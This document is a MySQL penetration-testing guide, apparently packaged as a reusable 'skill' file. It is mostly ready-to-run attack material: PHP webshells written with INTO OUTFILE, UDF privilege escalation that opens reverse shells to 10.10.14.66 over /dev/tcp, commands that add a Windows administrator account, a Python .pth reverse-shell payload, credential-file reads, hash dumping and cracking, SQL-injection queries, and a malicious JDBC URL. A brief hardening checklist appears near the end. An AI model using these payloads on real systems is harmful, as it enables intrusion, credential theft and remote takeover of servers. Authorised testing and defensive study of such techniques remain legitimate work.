MySQL Pentesting Skill
A comprehensive guide for MySQL database penetration testing, from initial enumeration to privilege escalation.
Quick Start
# Basic connection
mysql -h <target> -u root -p
# Local socket connection
mysql -S /run/mysqld/mysqld.sock -u root
# Nmap enumeration
nmap -sV -p 3306 --script=mysql-audit,mysql-databases,mysql-enum,mysql-info,mysql-users <target>
Phase 1: Initial Enumeration
Connection Testing
Local connections:
mysql -u root # Try without password
mysql -u root -p # Prompt for password
mysql -S /run/mysqld/mysqld.sock # Local socket
Remote connections:
mysql -h <hostname> -u root
mysql -h <hostname> -u root@localhost
Nmap Scripts
# Comprehensive MySQL enumeration
nmap -sV -p 3306 --script=
mysql-audit,
mysql-databases,
mysql-dump-hashes,
mysql-empty-password,
mysql-enum,
mysql-info,
mysql-query,
mysql-users,
mysql-variables,
mysql-vuln-cve2012-2122 <target>
Metasploit Modules
# Version detection
use auxiliary/scanner/mysql/mysql_version
# Auth bypass hash dump
use auxiliary/scanner/mysql/mysql_authbypass_hashdump
# Hash dump (requires creds)
use auxiliary/scanner/mysql/mysql_hashdump
# Full enumeration (requires creds)
use auxiliary/admin/mysql/mysql_enum
# Schema dump (requires creds)
use auxiliary/scanner/mysql/mysql_schemadump
# Windows command execution (requires creds)
use exploit/windows/mysql/mysql_start_up
Phase 2: Database Enumeration
Basic Information
-- Version and user info
SELECT VERSION();
SELECT @@VERSION();
SELECT USER();
SELECT DATABASE();
-- List all databases
SHOW DATABASES;
-- List tables in current database
SHOW TABLES;
-- Describe table structure
DESCRIBE <table_name>;
SHOW COLUMNS FROM <table>;
User and Privilege Enumeration
-- Current user privileges
SHOW GRANTS;
SHOW GRANTS FOR CURRENT_USER();
SHOW GRANTS FOR 'root'@'localhost';
-- All users and their privileges
SELECT * FROM mysql.user;
-- Users with FILE privilege (critical for exploitation)
SELECT user, file_priv FROM mysql.user WHERE file_priv='Y';
-- Users with SUPER privilege
SELECT user, Super_priv FROM mysql.user WHERE Super_priv='Y';
-- Custom privilege check
SELECT user, password, create_priv, insert_priv, update_priv,
alter_priv, delete_priv, drop_priv FROM mysql.user;
Custom Functions
-- List all stored functions
SELECT routine_name FROM information_schema.routines
WHERE routine_type = 'FUNCTION';
-- Non-system functions
SELECT routine_name FROM information_schema.routines
WHERE routine_type = 'FUNCTION'
AND routine_schema != 'sys';
Phase 3: File Operations
Reading Files (requires FILE privilege)
-- Read a file
SELECT LOAD_FILE('/var/lib/mysql-files/key.txt');
-- Read /etc/passwd
SELECT LOAD_FILE('/etc/passwd');
Writing Files (requires FILE privilege)
-- Write PHP webshell
SELECT 1,2,"<?php echo shell_exec($_GET['c']);?>",4
INTO OUTFILE 'C:/xampp/htdocs/back.php';
-- Write to Linux
SELECT '<?php system($_GET["c"]); ?>'
INTO OUTFILE '/var/www/html/shell.php';
INTO OUTFILE Limitations
- Cannot overwrite existing files
- Path is relative to MySQL's current working directory
- Use
../../to navigate up directories - Requires
secure_file_privto be empty or point to writable location
Phase 4: Privilege Escalation
Via User-Defined Functions (UDF)
Prerequisites:
- MySQL running as root or privileged user
- FILE privilege to write to plugin directory
- Ability to create functions
Linux UDF Exploitation:
-- Use mysql database
USE mysql;
-- Create table to hold library
CREATE TABLE npn(line blob);
-- Load the malicious library
INSERT INTO npn VALUES(LOAD_FILE('/tmp/lib_mysqludf_sys.so'));
-- Find plugin directory
SHOW VARIABLES LIKE '%plugin%';
-- Dump library to plugin directory
SELECT * FROM npn INTO DUMPFILE '/usr/lib/x86_64-linux-gnu/mariadb19/plugin/lib_mysqludf_sys.so';
-- Create the function
CREATE FUNCTION sys_exec RETURNS INTEGER SONAME 'lib_mysqludf_sys.so';
-- Execute commands
SELECT sys_exec('id > /tmp/out.txt; chmod 777 /tmp/out.txt');
SELECT sys_exec('bash -c "bash -i >& /dev/tcp/10.10.14.66/1234 0>&1"');
Windows UDF Exploitation:
USE mysql;
CREATE TABLE npn(line blob);
INSERT INTO npn VALUES(LOAD_FILE('C://temp//lib_mysqludf_sys.dll'));
SHOW VARIABLES LIKE '%plugin%';
SELECT * FROM mysql.npn INTO DUMPFILE 'c://windows//system32//lib_mysqludf_sys_32.dll';
CREATE FUNCTION sys_exec RETURNS INTEGER SONAME 'lib_mysqludf_sys_32.dll';
SELECT sys_exec("net user npn npn12345678 /add");
SELECT sys_exec("net localgroup Administrators npn /add");
Windows Directory Creation Trick:
-- Create directory using NTFS ADS when only file write is available
SELECT 1 INTO OUTFILE 'C:\\MySQL\\lib\\plugin::$INDEX_ALLOCATION';
Via Python .pth Files
Requirements:
- INTO OUTFILE access to Python site-packages directory
- Python CGI scripts that execute automatically
Payload:
-- Single line Python payload (no spaces)
SELECT 'import os,sys,subprocess,base64;subprocess.call("bash -c ''bash -i >& /dev/tcp/10.10.14.66/4444 0>&1''",shell=True)'
INTO OUTFILE '/var/lib/python3.10/site-packages/x.pth';
Trigger: Request any Python CGI script to execute the payload.
Via LOAD DATA LOCAL INFILE
Client-side file read:
-- This causes the CLIENT to read the file and send to server
LOAD DATA LOCAL INFILE '/etc/passwd' INTO TABLE test
FIELDS TERMINATED BY '\n';
Note: Requires local_infile=1 on server and client support.
Phase 5: Credential Extraction
From Configuration Files
# Debian MySQL credentials
cat /etc/mysql/debian.cnf
# User MySQL config files
cat ~/.my.cnf
cat ~/.mylogin.cnf
# MySQL history
cat ~/.mysql.history
From MySQL Data Files
# Extract hashes from user.MYD
grep -oaE "[-_\.\*a-Z0-9]{3,}" /var/lib/mysql/mysql/user.MYD | \
grep -v "mysql_native_password"
From Database
-- Get all user hashes
SELECT user, authentication_string FROM mysql.user;
-- For older MySQL (password column)
SELECT user, password FROM mysql.user;
Cracking Hashes
# Hashcat (mode 21100 for caching_sha2_password)
hashcat -a 0 -m 21100 hashes.txt /path/to/wordlist
# John the Ripper
john --format=mysql-sha2 hashes.txt --wordlist=/path/to/wordlist
Phase 6: SQL Injection Techniques
Information Schema Queries
-- Get all table names
UNION SELECT 1,2,3,4, GROUP_CONCAT(0x7c,table_name,0x7C)
FROM information_schema.tables;
-- Get column names for specific table
UNION SELECT 1,2,3,4,column_name
FROM information_schema.columns
WHERE table_name='<TABLE_NAME>';
Binary Data Manipulation
-- Convert hex to binary
CONVERT(UNHEX("6f6e2e786d6c55540900037748b75c7249b75"), BINARY)
-- Convert base64 to binary
CONVERT(FROM_BASE64("aG9sYWFhCg=="), BINARY)
Phase 7: Local Enumeration (Post-Shell)
Check MySQL Service User
# Check config for user setting
cat /etc/mysql/mysql.conf.d/mysqld.cnf | grep -v "#" | grep "user"
# Check service status
systemctl status mysql 2>/dev/null | grep -o ".\{0,0\}user.\{0,50\}" | \
cut -d '=' -f2 | cut -d ' ' -f1
Find Credentials and Sockets
# MySQL sockets
ls -l /run/mysqld/mysqld.sock /var/run/mysqld/mysqld.sock 2>/dev/null
# Credential files
ls -l /etc/mysql/debian.cnf ~/.my.cnf ~/.mylogin.cnf 2>/dev/null
# Config analysis
grep -RNI -E '^(bind-address|skip-networking|socket)\b' \
/etc/mysql /etc/my.cnf* 2>/dev/null
Quick Posture Check
mysql -S /run/mysqld/mysqld.sock -u root -e "
SHOW VARIABLES LIKE 'secure_file_priv';
SHOW VARIABLES LIKE 'local_infile';
SHOW GRANTS FOR CURRENT_USER();
" 2>/dev/null
Phase 8: Recent Vulnerabilities (2023-2025)
CVE-2023-21971: JDBC propertiesTransform RCE
Affected: MySQL Connector/J <= 8.0.32
Exploit:
jdbc:mysql://<attacker-ip>:3306/test?user=root&password=root&propertiesTransform=com.evil.Evil
Mitigation: Upgrade to Connector/J 8.0.33+
Rogue MySQL Server Attacks
Tools:
mysql-fake-server(Java)rogue_mysql_server(Python)
Attack flow:
- Victim connects to attacker-controlled MySQL server
- Server sends crafted packets triggering LOCAL INFILE or deserialization
- Achieve file read or RCE on victim
Example:
java -jar fake-mysql-cli.jar -p 3306
Security Hardening Checklist
- Set
LOCAL_INFILE=0 - Set
--secure-file-priv=/var/empty - Remove FILE privilege from application accounts
- Set
allowLoadLocalInfile=falsein Connector/J - Set
autoDeserialize=falsein Connector/J - Disable unused authentication plugins
- Require TLS:
require_secure_transport = ON - Monitor for: CREATE FUNCTION, INSTALL COMPONENT, INTO OUTFILE, LOAD DATA LOCAL
Information Schema Reference
Key Tables
| Database | Table | Purpose |
|---|---|---|
| information_schema | TABLES | All tables across databases |
| information_schema | COLUMNS | Column definitions |
| information_schema | ROUTINES | Stored procedures and functions |
| information_schema | USER_PRIVILEGES | User privileges |
| mysql | user | User accounts and hashes |
| mysql | db | Database-level privileges |
| mysql | tables_priv | Table-level privileges |
| performance_schema | global_variables | Server variables |
Useful Commands Reference
# Execute SQL from file
mysql -u username -p < commands.sql
# Execute single command
mysql -u root -h 127.0.0.1 -e 'SHOW DATABASES;'
# Get shell from MySQL client
\! sh
# Change MySQL root password
UPDATE mysql.user SET authentication_string=PASSWORD('NewPass') WHERE User='root';
FLUSH PRIVILEGES;
Scripts
Use the bundled scripts for common tasks:
scripts/mysql_enum.sh- Automated enumerationscripts/mysql_priv_check.sh- Privilege assessmentscripts/mysql_hash_extract.sh- Hash extraction from files